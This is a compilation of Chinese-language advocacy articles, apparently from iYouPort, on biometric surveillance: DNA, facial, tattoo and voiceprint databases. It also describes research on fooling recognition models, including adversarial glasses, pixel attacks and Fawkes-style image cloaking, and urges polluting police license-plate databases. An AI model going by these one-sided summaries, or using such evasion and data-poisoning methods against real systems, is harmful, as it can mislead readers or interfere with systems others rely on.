研究人员认为，在中国所谓的“再教育”营中，有超过一百万的维吾尔人被系统性地拘留。

中国新疆政府否认它利用其医疗计划建立 DNA 数据库，并否认维吾尔族人在没有正当程序的情况下被拘留。

2015年，科威特通过了世界上第一部法律，要求所有公民和访客提交他们的 DNA 样本，但它在生效之前就已被撤销。

它的目的被称为“识别恐怖分子”，但在2017年，该国的宪法法院裁定该法律违反了科威特对个人自由的宪法保障。

Rwanda sparks human rights concerns in proposing world’s first nationwide DNA database. The database will require officials to take DNA samples from all of Rwanda’s 12 million citizens

原文

因拒绝被监视而被罚款甚至被逮捕 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

遮住脸部以抵挡监视摄像头的人因此被逮捕，仅仅8小时内就有8人因此被捕。这还是在局部法律规定人脸识别监视区域需要立牌标注的情况下，然而，该监视技术正在秘密的情况下大面积推出—— 所以⚠您必须能想到更高明的应对办法

「图」

「图」

据“独立报”报道，一名英国男子因拒绝被面部识别相机扫视脸部而被罚款90英镑（$117）。

“他只是将自己套头衫拉到了脸底，并低下头走过去，”Big Brother Watch 的主管 Silkie Carlo 说道，至少有一个人看到旁边的标语牌警告公众警车上使用了面部识别摄像机。

“根本没有什么可疑的……你有权避免被相机扫描，你有权遮掩你的脸。我认为他正在行使他的权利，” Carlo 说。

正在旁听伦敦罗姆福德审判的 Carlo 女士告诉 “独立报”， 她看到一名穿着便衣的警察开始跟随这名男子，然后一群警察“将他拉到一边”。

她说他们要求他出示身份证明，并且整个过程是“指责性的和侵略性的”。

Carlo 女士补充说：“ 然后他们给他开具了90英镑的扰乱公共秩序罚款。” “他真的很生气。”

大都会警察局的一名发言人说，警察被指示“自己判断”是否应该拦截任何人。

警方在一份声明中说：“警察拦截了一名男子，他在部署现场面部识别技术附近在罗姆福德市中心被看到了可疑的行为。” “在被阻止之后，这名男子变得咄咄逼人，并对警察进行了威胁。因此，他因违规而被处以罚款。”

根据该报告，在仅仅8小时的试验中，就有8人被逮捕，其中3人被捕是因阻挡面部识别技术的直接结果—— 其中包括一名15岁的男孩，因涉嫌抢劫被捕，但没有采取进一步行动。

其他几个人在伦敦东北部的罗姆福德车站外被拦截，包括一名学生，只是将自己的兜帽拉过脸部，就被捕了。另一名男子被戴上手铐并被扔进一辆警车。

人权组织表示，一名年轻人被拦截，因为他只是“看起来像警方监视黑名单上的某人”。

为期两天的面部识别摄像机部署是该技术的10个同样的测试计划中的最后一个。“独立报” 此前曾报道，在2016年8月至2018年7月期间，六次部署花费超过20万英镑，最终无人被逮捕—而12月份只有两人因暴力犯罪而被捕。 而今年，警方似乎想要证明该技术“有用”，而拼命地抓人和罚款。

该计划被描述为“混乱”和浪费公共资金。 在这里看到视频：

自动面部识别软件将人脸的实时镜头与来自警察数据库的监视列表进行比较。任何潜在的举止都会成为对警察的警报，警察负责比较面部并决定是否拦截某人。

大都会警察局将这些部署描述为“公开”，并表示公众知道面部识别被使用。 但是，“独立报” 在去年12月采访伦敦市中心面部识别扫描区后发现，并没有人知道警方的监视通知，而且活动人士表示，该技术正在被秘密推出。

AUK man was fined £90 ($117) after he refused to be scanned by facial recognition camera by obscuring his face; There were eight arrests during the eight-hour trial, of which three were a direct result of the facial recognition technology

原文

在2019年，你的纹身可能会让你被捕 - iYouPort

你我的灾难现实生物识别-眼下最严重的威胁，以及怎么办

纹身可以讲述一个人—— 可以揭示某人的宗教观点、表达政治观点、暗示家庭生活和经历等等。但是，联邦政府正准备采取行动，你的纹身很快就会让你陷入困境。

美国国家标准与技术研究所最近完成了纹身图像匹配系统的测试，该系统可供执法部门在刑事案件中查找嫌疑人。该测试（名为 Tatt-E，或纹身识别技术评估）试图通过使用私人公司创建的算法来匹配执法机构收集的不同纹身图像。

效果并不好。

在第一次尝试时，表现最佳的算法只能匹配两个纹身图像，准确率为 67.9%。更令人不安的是，这种算法甚至没有考虑误报的可能性。这很可能意味着，67.9% 的准确度数字实际上已经被夸大了—这应该不会令人感到意外。毕竟，移民和海关执法部门已经使用纹身识别作为证据，成功实现了诬告。

联邦调查局过去四年一直赞助 NIST 的计划，希望有一天能够在自己的调查中使用这项技术。但即使这些算法可以高效率地匹配纹身，仍然会有许多严重的公民自由担心—— 从宗教自由到第四修正案到基本的正当程序。

随着联邦机构建立这些庞大的数据库，私营公司正在分析您的数据，而不需要任何理由怀疑您犯了罪。今年早些时候，亚马逊开始向当地警察部门出售其面部识别系统，即 Rekognition。现在它也在积极推动 ICE 购买 Rekognition。因此，想象一个亚马逊或像 Facebook 这样的公司将其收集的有关数百万人的纹身数据出售给执法部门……结果是什么？

国土安全部已经开发了一个名为 Homeland 高级识别技术的大型生物识别数据库，其中包括面部识别数据、纹身识别数据、DNA、疤痕细

节以及约5亿人的其他“物理指标”，其中大多数人不会被定罪（甚至不会被怀疑）犯罪分子。想象一下，如果这样的数据库与无效的纹身识别算法一起被武器化，会发生什么样的威胁。

即使纹身匹配算法是完全准确的，编制大规模的纹身数据库仍然会威胁到正当程序、宗教自由和言论自由—— 你的纹身不应该成为被监禁的推动力。

Tattoos can tell a lot about a person. They can reveal someone’s religious views, express political opinions, hint at family life, and much more. But if the federal government gets its way, your tattoos could soon be used to put you behind bars.

原文

塑料脑袋也行的 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

由于这个世界仍然试图找到一个非常好的密码替代品，对于那些认为面部识别是“关键”的人来说，这肯定是一个坏消息，因为福布斯的一名记者能够用3D打印出来的脑袋愚弄大多数手机。[[

|https://web.archive.org/web/20210820072354/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/5c1d2e7b9b284f001a0388e3/edit/search/posts?query=%23facialrecognition]]

Thomas Brewster 弄了个自己脑袋的 3D 打印并在四款 Android 手机和 iPhone X 上进行面部识别测试。

在这五个手机中，只有 iPhone X 没有被愚弄成功—— 四款 Android 设备都毫不费力地打开了。苹果公司在面部识别方面投入了大量赌注，而指纹是 Android 中更受欢迎的选择。

看看 Pixel 3—没有默认的面部识别，但它已被第三方添加—华为、三星和 OnePlus 都可以选择。然而明显的都不安全。

毫无疑问，面部识别仍然处于其雏形阶段，正如警察们遭遇的史诗般失败所表明的那样。

这里希望说的是，如果你有一部 Android 手机，坚持使用指纹或更强的密码，这比任何一种生物识别解决方案都更安全—而警察一般不会强迫你交出手机密码，但他们完全可以让你看一样自己的手机，法律尚且没有保护到强制面部解锁。

AS THE world still tries to find a really good alternative to passwords, there’s bad news for those that thought that facial recognition was the key, after a journalist from Forbes was able to fool most phones with a 3D printed head.

原文

失控的DNA收集实践 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

来，张开嘴巴！纽约警察局将不遗余力地收集并永久存储所有人的 DNA ——不论你是有罪或无辜。究竟发生了什么？DNA监视如何构陷无辜的人变成罪犯？

根据纽约每日新闻报道，纽约警察局将不遗余力地收集并永久存储所有人的 DNA—— 不论你是有罪或无辜。

无论是挨家挨户、用卷烟贿赂他人、还是随意的路边拦截，纽约警察局一直在积极编制一个奥威尔式的DNA数据库，该数据库截至2017年已有了64,000多个档案。现在是2019年。

以警方调查霍华德海滩慢跑女被杀案为例。在他们确定嫌疑人之前，纽约警察局已经收集了来自纽约东部地区一大群男性的500多张DNA图谱。你可以想象警察穿着制服敲门，手里拿着试纸，要求居民张开嘴巴交出DNA 证明他们并没有杀死附近公园里的慢跑者。

并且事情变得更糟了。对于那些已被明确排除在此案件之外的人，该市犯罪实验室的首席医学检查官办公室也将这些***DNA***数据"//永久地保存//"在他们的数据库中，并定期将其与所有城市的犯罪情况进行比较。

同时，首席医学检查官办公室已经明确表示增加数据收集是合理的—而不是制定自己的规则来管理他们如何使用某人的DNA。

简而言之—任何向纽约警察局提供DNA的人都会定期与每一次强奸、谋杀和任何其他暴力犯罪的DNA样本进行比较。

但是等等，你可能会说—如果你没有做错什么，为什么要担心？

你应该非常担心。因为，正如“每日新闻”所指出的那样，“DNA具有无可比拟的错误控制能力。基因测试现在可以揭示基于少数细胞的特征，我们每天都会丢失数十万个细胞，也就是说，你的**DNA** 可以出

现在任何你从未到过的地方。

例如，Lukis Anderson 的 DNA 是在一名被谋杀的亿万富翁的指甲下被发现的，他并没有杀人。但是安德森在2013年的赎罪前面临死刑。

原因是这样的。在 van Oorschot 的一项实验中，坐在一起聊天喝饮品20分钟后，将拭子放在被试者的手、椅子、桌子、水壶和果汁杯上，都能测试到遗传物质；每个参与者至少触摸过一次水壶，几乎在每种情况下都会在手柄上找到每个人的DNA；虽然参与者之间从未相互接触过，但三分之一的人手掌上带有另一个人的DNA；三分之一的人眼镜上带有其他人的DNA，他们没有互相接触过的前提下。唯一的解释是：参与者不知不觉中沾染到了他人的**DNA**，也许是他们那天早上亲吻的情人、与他们共用公交车的陌生人、或是他们下午买拿铁的咖啡师。

看一个视频吧：

根据警方合同，普通官员不给实验室准确的目标DNA，这意味着实验室不能轻易地排除可能的犯罪现场污染。这意味着敲门收集DNA的警员要求人们自愿做出他们不该做的事。

基本隐私是另一个真正的担忧。我们每天都看到我们的个人信息一旦被放在互联网上，就永远无法重新获得保护。过去几年来的发展预示着 DNA 的使用令人难以置信的扩展。你现在就可以想象一下30年后的可能性。

你认为私人 DNA 测试公司是安全的吗—如 FamilyTreeDNA，不断增长的市场的先驱之一，但是它也一样，就如 BuzzFeed 的报告所证实的那样，该公司已经悄然授予联邦调查局访问其近200万遗传资料的巨大资源。

The NYPD is going to great lengths to collect, and permanently store DNA from everyone they can—guilty or innocent, according to the NY Daily News.

原文

如何对抗面部识别技术？ - iYouPort

反侦查-在现实中反监视生物识别-眼下最严重的威胁，以及怎么办

用技术对抗技术，隐私保卫战将越来越精彩。欢迎加入进来

「图」

「图」

面部识别技术近年来变得越来越普遍。Facebook 用它来标记你的照片; 联邦调查局有一个庞大的面部识别数据库，涉及数亿张图片; 在纽约，甚至有计划为每座桥梁和隧道添加智能面部识别监控摄像头; 在英国，大都会警察正在积极部署面部识别摄像头，尽管面对隐私保护组织的奋力反抗; 在中国，共产党政府一直在拼命宣传面部识别的应用领域，中国人似乎这种技术的大面积铺设无能为力……

技术人士都是行动主义者。随着面部识别的全球扩展，旨在击败面部识别的产品和软件一直层出不穷。比如在2016年11月的一项研究中，卡内基梅隆大学的研究人员就设计了一种可以欺骗系统识人脸的眼镜框

这种眼镜不仅可以使佩戴者基本上消失在这种广泛的自动化识别系统中，它甚至还可以欺骗系统认为你是别人。通过调整印在眼镜上的图案，科学家能够假定出一个他人的身份，或者使软件认为他们正在看着的是某个大明星。

就如下面这张图，第一行戴着眼镜的是你，第二行是别面部识别判断出来的人。

「图」

「图」

这种镜框之所以能达到欺骗的目的是因为它利用了机器理解面部的方式。面部识别软件通常由深度学习提供动力，是通过大量数据来筛选

重复出现的模式的系统。就识别面孔而言，这意味着系统要衡量个体瞳孔之间的距离，或者查看眉毛或鼻孔的倾斜度。

显然与人类的理解不同，这种分析是发生在抽象层面的。计算机系统不像我们那样理解一个人的面孔，他们只是在寻找像素模式。如果你知道正在寻找的是什么样的模式，就可以轻松地使机器视觉系统看到的只是抽象模式的动物、人和物体。这正是卡内基梅隆研究人员所做的。

首先，他们计算出与特定面孔相关的图案，然后将它们印在一组宽幅眼镜上（以便更好地占据更多的框架; 最后约有 6.5% 的可用像素）测试显示，欺骗面部识别的这种镜框成功率100%。

要想冒充其他人会更加复杂些。一位 41 岁的白人男性研究人员能够欺骗面部识别系统认为被看到的是女演员 Milla Jovovich 的身份，准确率为 87.87%。但是一位 24 岁的南亚女性研究员想要说服一台电脑认为她已经 79 岁了，成功率只有 16%。

这个系统有明显的局限性。首先，尽管戴眼镜比戴面具或使用 CV Dazzle（一种大胆的化妆，以混淆面部识别系统）等方式更为隐蔽，几乎不显眼。不过研究人员没有测试拍摄图案在不同距离和不同光照条件下的成功率。以及如何对付中国已经开始测试的人脸识别夜视功能。

2017年11月，麻省理工学院和九州大学的专家们通过改变单个像素来欺骗一种算法，让监视系统将 3D 打印的乌龟的图片标记为步枪。

日本研究人员开发了这种他们称之为“单像素攻击”的东西，这是一种识别和改变图像中单个像素的算法，以迫使 AI “看到”其他东西。

马变成了汽车，汽车变成了狗。通过改变 1,024 像素图像中的单个像素，攻击在 74% 的时间内成功；当改变五个像素时，攻击的成功率上升到 87%。

麻省理工学院的研究人员通过将识别软件与 3D 对象实时相混淆，进一步加强了欺骗效果。他们 3D 打印了一只乌龟，有目的地改变其纹理和颜色，以便让 AI “看到”的是一只步枪，从任何不同的角度和距离来看都是步枪。

「图」

「图」

至关重要的是，这些研究人员能够选择他们想要让 AI “看到”的东西，和上述镜框一样，你可以把自己变成猫王。或者通过改变你的汽车的颜色和条纹—多个像素，你可以欺骗监控系统认为他们看到的是一条狗。

但是有人认为这种技术很危险，因为如果有人持枪抢劫，AI 却把那只枪看成了乌龟……听起来有点道理。但必须知道，持枪抢劫是偶发事件，而监控摄像已经将整个世界变成了常规且持久的大监狱。人工智能的“视觉”能力飞速提升的结果是不可避免地意味着更为强大的监控。

随着人工智能准备在范式上改变现代生活的各个方面，包括健康、安全、交通等，我们非常有必要预测和防止这些隐私攻击。

「图」

「图」

还有一个是由斯坦福大学研究员 Jiajun Lu 领导的项目，涉及制造“对抗性案例”，以欺骗图像识别工具，包括面部识别、以及自动驾驶汽车识别停车标志和交通所用的系统。对于前者，Lu 和他的团队创造了一种伪装，看起来像是 Google DeepDream 恶梦之一。他们说，“通过应用这种伪装，无法在各种条件下检测到脸部：角度，距离，照明等等，”Lu 说。

Lu 建议使用遗传方式制作实验性“ 活体纹身 ”编程的活细胞，这样做的好处是可以将图案设计为仅在某些情况下出现，或者称之为“活纹身”—纹身中的细胞被编程为仅当被命令或特定的环境条件满足时，才显示其颜色（你可以在上面链接中找到关于“活纹身”技术的介绍）。这种方法至少比那个超前卫的化妆术常规一些，能够按照你的喜好打开或关闭它。

不过，Lu 这项技术不是为抗议者、黑客或间谍制定的。他称这项研究背后的基本思想是推动设计神经网络的人们改进系统中的算法。

最近，多伦多大学教授 Parham Aarabi 和研究生 Avishek Bose 创建了一种算法，通过对图像进行光变换，可以动态地中断面部识别系统。没错，它专门对付 Facebook 那种在线面部识别。

「图」

「图」

根据 Bose 和 Aarabi 的说法，他们是第一个使用 AI 实现的解决方案：用 AI 打败 AI。

他们的算法是在 600 张脸的数据集上进行训练的，可以提供一个应用于任何图片的实时滤镜。由于它针对图像中高度特定的单个像素，因此它几乎不会被人眼察觉。也就是说你我看到的还是我们的朋友的脸，而 Facebook 看到的是完全不同的东西。

这两位研究人员采用了对抗训练，这是一种由两个神经网络组成的 AI—一个产生数据输出的“发生器”、另一个检测由发生器制造的假数据的“鉴别器”，以训练网络。系统使用生成器来识别面部，并使用鉴别器以破坏面部识别。

在 2018 年 IEEE 国际多媒体信号处理研讨会上发表的研究论文中，Bose 和 Aarabi 称他们的算法能够将面部识别系统中能检测到的人脸比例从 100% 降低到 0.5% ~ 5% 之间。

他们希望神经网络可用在应用程序或网站中。

“十年前，这些算法还必须是人类来提供，但现在神经网络自己可以学习—除了训练数据外，你不需要提供任何东西。最终他们可以做一些非常了不起的事。这是一个迷人的时代，有巨大的潜力”，Aarabi 说。

不过通过阅读团队发布的详细论文，你会发现，离成功还有一段路要走。首先，并非所有的图像识别系统都以相同的方式工作，诸如 Faster R-CNN 等架构已经提出了更大的挑战。

在今年五月的 F8 会议期间，Facebook 的首席技术官 Mike Schroepfer 解释该公司如何成功使用 35 亿 Instagram 图片来提高其人工智能识别和分类视觉内容的能力。该项目是尝试在其平台上自动进行内容审查的一部分。正是作为用户的我们应该高度警惕的。

目前有许多公司正在投资于形象和脸部识别技术，无论是在线审查还是以一种更险恶的方式—在对政府和警察部门感兴趣的实时脸部识别中。但是 Facebook 在其中是一个非常重要的案例，因为该公司拥有巨大的力量，可以在培训和发展其神经 AI 以执行此类任务时为其提供特别的优势。

在几乎所有领域中使用 AI 来破坏 AI 都有一种固有的吸引力—因为被中断的 AI 可以演变为阻止这种情况发生的更为强大的力量。这便将

问题转化为永久性的 AI vs AI 的 Sisyphean 式挑战，每一个都在试图超越另一个。

当多伦多大学的研究人员将他们开发的产品转换为可被任何人用作浏览器插件或应用程序的过滤器时，我们可以预料到，这场战斗已经开始。

用技术对抗技术，隐私保卫战将越来越精彩。如果你支持隐私保护、反对内容审查，那么请用你的实力加入进来。〇

原文

如何愚弄自动车牌阅读器？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【 2019年12月5日存档】这被称为“对抗性时尚”，是设计师凯特·罗斯（Kate Rose）展示的作品

时尚很有趣，它也有助于回应我们生活的环境。

天气转冷的时候，你会穿上厚重的衣服，随着温度的升高再变得轻盈；下雨或在耀眼的阳光下举起五彩缤纷的伞，在派对上戴上有趣的帽子……

而当我们周围的社会转变为一个全景圆形监狱时，时尚会适应隐藏我们的身份。

那个全能的监视国家正在从英国到美国到香港，一路挺进。

世界各国政府和企业正在加紧使用监控摄像头和面部识别技术来识别抗议者、行人以及任何人，跟踪他们的一举一动。与此同时，行动主义创意者正在以创造性的方式予以反击。

他们通过创新技术和企业家的帮助获得了很大的进展 —— 他们看到了重视隐私的客户的庞大市场。车牌阅读器背后的监视室 *from @JediHuang*

在这些隐私追求者中，有很多香港居民。在他们对中国威权政府的持续反抗中，这里的居民已经提出了一系列巧妙的回应 —— 政府试图压制抗议并通过监视技术识别并抓捕参与者。

在这里看到我们此前的分析：

- 《香港：年轻的抗议者擅长抵御数字监控（附安全须知）》
- 《香港的抗议活动中再次强调了你的脸如何成为武器》

通过使用遮阳伞屏蔽 CCTV 摄像机的识别功能 —— 在某些情况下使用激光，完全破坏图像捕捉能力 —— 抗议者可以使自己免于被报

复。

抗议者还戴着头盔，以防止警方向人群发射橡皮子弹，以及进一步隐藏自己的脸部。

就如我们如上总结的那样，这场抗议活动应该成为1984时代全球反抗者的参考模版。

但是，仅仅参考防御是不够的。行动主义的思考方式是进击。

所有东西都在被计算机视觉算法所监视，甚至我们服装上的图案也可能是颠覆性的。

数字安全专业和时装设计师 Kate Rose 不只是设计纺织品图案。她通过制作假车牌图案覆盖的衣服，尝试大规模污染车牌收集的数据库。

如果你曾经在邮件中收到交通罚单（有时你甚至能看到你的车子的照片，照片中还有你自己和前排座位上的乘客），这表明你的车可能已经遇到了自动车牌阅读器或 ALPR。

像如今城市的许多监控技术一样，ALPR 已经无处不在，无休止的永恒监视。

它们适合安装在从公共电线杆到警车的所有东西上，但它们不仅仅是摄像机。ALPR 可捕获其范围内类似牌照的所有物品，每分钟可收集多达一千个牌照。

因此，当您开车或乘坐共享时，这些系统会读取车牌并收集其 GPS 位置和登记信息，以及日期和时间。

根据电子前沿基金会的说法，分享 ALPR 的不仅仅包括解决犯罪技术的执法机构，供应商也在其中：他们还有详细的监控系统，允许警察跟踪人们往返于康复中心和移民诊所等敏感地点的情况。

但是，与其他同类先进技术一样，它们很容易被看起来与真实物体足够接近的图案所愚弄。

“当一个 ALPR 环顾四周时，它会在相机视觉范围内寻找任何可能是矩形或字母数字组合的东西，这些字母数字表明对象是一个车辆牌照，” Rose说。系统会裁剪图像的该部分，然后与数据库中存储的牌照示例进行比较。

如果系统确定目标物体是一个车牌，它就使用光学字符识别（OCR）来读取，识别和保存该牌照，以及它的 GPS 位置和被观察到的时间。

Rose 的设计混乱了这个过程。她开发并测试了印制在面料上的重复图案，看起来尽可能接近真正的车牌，这样一来系统就可以将它保存为“真实的”。

“把这种面料制成衣服，通过在街上穿戴这些设计，你可以帮助将垃圾数据引入监控系统 —— 可以大规模降低监视系统的运作效率，让老大哥运转起来更加昂贵，”她说。

这就是反监视的行动主义。

同样的思路，你可以以任何一种方式实践对大型监视系统的破坏；就如欧洲的活动家用合成人脸照片申请护照。

Rose 在今年的拉斯维加斯举行的黑客大会 DEF CON 的演讲中介绍了她的工作。

DEF CON 认为今年参加会议的女性人数增加了10%，并且在整个会议期间举行了多次全女性和 LGBTQ 小组讨论会、演讲和聚会；尽管在 DEF CON 附近存在厌女症的历史空间。

黑客的概念被污染很久了，但其本质就如 Rose 所说，“黑客从根本上讲是关于民主化的，关于揭开我们所有人使用的系统和设备的神秘面纱，拆开并修补它们，并将它们重新应用到你个人认为是个好主意的地方”。

挑战监视的行动主义可以非常简单，穿上这样的衣服，你就是反乌托邦战士。

更多反监视的设计见“生物识别和对抗方法”栏目。○

原文

如何阻止AI从您的自拍照中识别出您的脸？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

监视和反监视是一场持续的猫鼠游戏。如果你希望通过技术对抗技术的话，就尤其如此。选择加入持久战的公民反抗可能优势不大 ，因为你对抗的是几百亿美元的生物识别监视资本主义市场。但技术肯定是武器之一，虽然不是全部。

将个人照片上传到互联网上后，你就完全失去了控制权。你不会知道还有谁能接触到这些照片、他们会用这些照片做什么、你的脸会被用来训练哪些机器学习算法？

比如最近的热议事件，Clearview 公司已经向执法机构提供了一个面部识别工具，该工具是根据从公开网络上搜罗的数百万人的照片训练出来的。但这只是个开始。这就是监视资本主义的工作方式。

关于 *Clearview*，如果您错过了《只要一张照片，陌生人就可以找到您的一切私密信息》

任何具有基本编码技能的人现在都可以开发面部识别软件，这意味着在从性骚扰和种族歧视到政治压迫和宗教迫害等等各个方面，滥用这项技术的潜力比以往不断迅速增大。

一些人工智能研究人员正在进行反击，开发出确保人工智能不能从个人数据中 “学习” 的方法。5月，在领先的人工智能会议ICLR上，有两个最新的成果被展示出来。

“我不喜欢人们从我这里拿走他们不应该拥有的东西”，芝加哥大学的艾米丽·温格说，她在去年夏天与她的同事开发了第一批这样做的工具之一，名为 Fawkes，“我猜很多人都有类似的想法”。

数据投毒并不新鲜。诸如删除公司掌握的关于你的数据，或故意用假

的数据污染数据集等行为，可以使公司更难训练出准确的机器学习模型。但是，这些努力通常需要集体行动，有成千上万人一起参与，才能产生影响。而这些新技术的不同之处在于，它们对个人照片起作用。

澳大利亚迪肯大学的丹尼尔·马（Daniel Ma）说："这项技术可以作为个人的一把钥匙来锁定自己的数据。这是人工智能时代保护人们数字权利的一个新的前线防御。"

隐藏在众目睽睽之下

「图」

大多数工具，包括 Fawkes，都采取了同样的基本方法。他们对图像进行微小的改动，这些改动用人眼很难发现，但却会让人工智能感到不安，导致它错误地识别照片中的人或物。这种技术非常接近于一种对抗性攻击，对输入数据的微小改动可以迫使深度学习模型犯大错。

如果您错过了《机器学习训练集中的图像政治》

给 Fawkes 一堆自拍照，它就会给图片添加像素级的干扰，从而阻止最先进的面部识别系统识别照片中的人。与以前的方法不同（例如涂抹对人工智能具有欺骗性的脸部涂料）Fawkes 可以使图像对人类来说显然是没有变化的。

温格和她的同事将他们的工具在几个广泛使用的商业面部识别系统上进行了测试，包括亚马逊的 AWS Rekognition、微软 Azure、和由中国公司 Megvii Technology 开发的 Face＋＋。在一个由**50**张图片组成的数据集的小实验中，**Fawkes** 对所有这些图片都**100%**有效，阻止了在经过篡改的人的照片上训练出的AI模型此后在新图片中识别同一个人的照片。篡改过的训练图像阻止了这些工具对这些人的脸部数据形成准确的表述。

Fawkes 已经在该项目的网站上被下载了近50万次。一位用户还建立了一个在线版本，使人们更容易使用它（尽管温格不会为第三方使用该代码担保，并她警告说，"当别人在处理你的数据时，你不知道你的数据发生了什么"）。温格说，目前还没有一个手机应用程序，但随时都可能有人制作一个。

Fawkes 可能会阻止一个新的面部识别系统来识别你—— 比如说下一个Clearview，但它不会破坏已经对你的未受保护的图像进行过训练

的现有系统。简单说，如果你一直在社交媒体上传照片，而这些照片已经被纳入了人脸识别训练集，那么这个工具就不管用了。不过，这项技术一直在改进。温格认为，马里兰大学的 Valeriia Cherepanova 和她的同事开发的一个工具可能会解决这个问题。

该工具被称为 **LowKey**，它在 Fawkes 的基础上进行了扩展，根据一种更强的对抗性攻击对图像进行干扰，这也骗过了预先训练的商用机器学习模型。与 Fawkes 一样，**LowKey** 也可以在线使用。

Ma 和他的同事们增加了一个更大的转折点。他们的方法是将图像变成他们所谓的 “不可学习”的数据类型，有效地使人工智能完全忽略你的自拍。“我认为这很好”，温格说，“Fawkes 旨在训练一个模型来学习关于你的错误的数据，而这个工具则训练一个模型以便其无法学习关于你的任何信息。”第一行是从网络上抓取的照片，第二行是改变后的照片，它变得无法被机器学习使用，而人眼看不出区别

与 Fawkes 及其追随者不同，不可学习的数据不是基于对抗性攻击。Ma 的团队没有对图像引入迫使人工智能犯错的变化，而是添加了微小的变化，欺骗人工智能在训练期间忽略它。当稍后呈现图像时，它对其中内容的评估将不会比随机猜测更好。

“不可学习” 的数据可能证明比对抗性攻击更有效，因为它们不能被训练对抗。人工智能看到的对抗性例子越多，它识别它们的能力就越强。但**Ma**和他的同事们则首先阻止了人工智能对图像的训练。

然而，温格感觉需要一场持续的战斗。她的团队最近注意到，微软 Azure 的面部识别服务不再能够被他们的工具修改的一些图像所欺骗。她说：“它突然以某种方式对我们生成的隐蔽图像变得强大起来。我们不知道发生了什么。”

微软可能改变了其算法，或者人工智能可能只是看到了太多使用 Fawkes 的人的图像，以至于它学会了识别它们。无论哪种情况，温格的团队**5**月发布了对其工具的更新，以便再次对 **Azure** 起作用。她说：“这是另一场猫捉老鼠的军备竞赛”。

对温格来说，这就是互联网的故事。她说：“像 Clearview 这样的公司正在利用他们认为是免费提供的数据来做他们想做的事”。

从长远来看，监管可能会有帮助，但这并不能阻止公司利用法律漏洞。她说：”在法律上可接受的东西和人们实际想要的东西之间总是会有脱节。像 Fawkes 这样的工具填补了这一空白。”

“我们可以给人们一些以前没有的权力”，她说。

How to stop AI from recognizing your face in selfies

原文

强行收集DNA - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

有无数种方法可以将无辜的人民定为罪犯

「图」

「图」

加利福尼亚州受害者的 DNA 数据成为了联邦数据库的一部分，可以被全国各地的执法机构自由访问，即使是那些没有被定罪的人也包括在其中。

两个社会公正组织—遗传与社会中心和平等正义协会—以及一名个人原告 Pete Shanks 已向加利福尼亚州提起诉讼，要求其撤销收集和保留被逮捕但未被定罪的人的DNA信息。电子前沿基金会（EFF）和 Michael T. Risher 律师事务所代表原告。该诉讼认为，保留无辜人民的 DNA 违反了加利福尼亚州宪法承诺的隐私保护措施，该措施旨在阻止过度收集和非法搜索个人数据。

“在加利福尼亚因重罪被捕的人中有三分之一从未被定罪。政府没有合法的理由来保留那些没有重罪定罪的人的 DNA 样本和简介，而且在没有任何判罪的情况下保留这种敏感材料是违宪的，“该中心执行主任 Marcy Darnovsky 表示。

DNA 鉴定被广泛错误地视为“万无一失”的技术。而研究和现实案例已经表明，有无数种方法可以将无辜的人民定为罪犯，包含由于来自多个捐助者的遗传材料被混合导致的主观误读，以及向陪审团选择性地提供证据等。

加利福尼亚允许那些从未被判犯有重罪的人申请将他们的 DNA 从系统中清除。但现有的法定程序冗长且不确定，许多人甚至不知道该怎么做。虽然在过去十年中估计收集的 750,000 个个人资料可能有资格从数据库中删除，但只有1,510个删除请求，并且只有 1,282 个被授予。对无罪释放或从未被指控的人无限期保留数以千计的 DNA 配置

文件违反了加利福尼亚州宪法，该宪法赋予隐私权和反对非法搜查和缉获的权利，这些权利专门用于保护人们免受政府过度保留个人数据的侵害。

Social Justice Organizations Challenge Retention of DNA Collected from Hundreds of Thousands of Innocent Californians: California Arrestees' DNA Profiles Become Part of Federal Database, Accessible to Law Enforcement Across the Country, Even for Those Not Convicted of Any Crime

原文

强行收集声纹 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年3月27日存档】声音识别是目前最可怕的一种监视方式；现在这种生物数据正在被强行从被监禁者身上收集，他们是怎么做的？

大约六个月前，在纽约的 Sing Sing 监狱，John Dukes 和同伴们一起被带到一个惩教官那里。他回忆说，她给了他一张带有一些短语的纸，还有一个奇怪的选择：要么对着那台机器读出纸上写的单词，要么接受被剥夺打电话的权利。

Dukes 不知道为什么要他做出这样的选择，他感到很困惑，因为他听到其他人正在对着那台机器说话，重复着惩教官给他们的那些短语。

“我在考虑，’我应该这样做吗？我不想让我的声音出现在这台机器上，“他回忆说。“但我仍然需要联系我的家人，即使我的刑期只剩下几个月了。”

所以轮到他的时候，他走到电话旁，拿起话筒，然后出现了一系列自动指示。“指示说，’读出这句话，等等，等等，等等’，如果你没有说清楚，指示就会说，’再重复这句话’，就像’猫’或’我是美利坚合众国公民这类的词。“”Dukes 说他重复这些短语大约用了一两分钟。然后指示音告诉他这个过程已经完成。

10月份被释放的 Dukes 说，他从未被告知这个声音收集的目的是什么。但是，The Appeal 与 The Intercept 合作获得的纽约新监狱电话系统的合同文件以及对监狱当局的后续采访表明，Dukes 的怀疑是正确的：他的音频样本正在被收集以纳入新的语音监控系统。

在纽约和全国其他州，当局正在获取这项新技术，将被监禁人员的声音提取并数字化为独特的生物识别签名，称为声纹。监狱当局已悄悄将数十万被监禁的人的声纹登记到大型生物识别数据库中。然后，计算机算法利用这些数据库来识别发声者的身份。一些项目甚至分析监狱外呼叫接收者的声音，以跟踪那些与囚犯交流的人。

代表德克萨斯州、佛罗里达州和阿肯色州的惩教官员，以及亚利桑那州的 Yavapai 和 Pinal 县、 佛罗里达州阿拉楚阿县、德克萨斯州特拉维斯县，也都确认他们正在积极使用语音识别技术。对合同文件的审查确定了其他获得类似声纹功能的司法管辖区：康涅狄格州和佐治亚州的惩教官员也签署了该技术合同（康涅狄格州没有回应多次采访的请求；格鲁吉亚拒绝回答有关此事的问题）。

公民自由倡导者强调，这种生物识别的积累既不透明也不自愿。例如，在某些司法管辖区如果人们拒绝加入语音识别系统，就会被限制打电话的权利，而其他司法管辖区则在人们完全不知情的情况下收集这些数据。这些数据一旦存在就会被其他机构使用，而公众没有任何发言权。

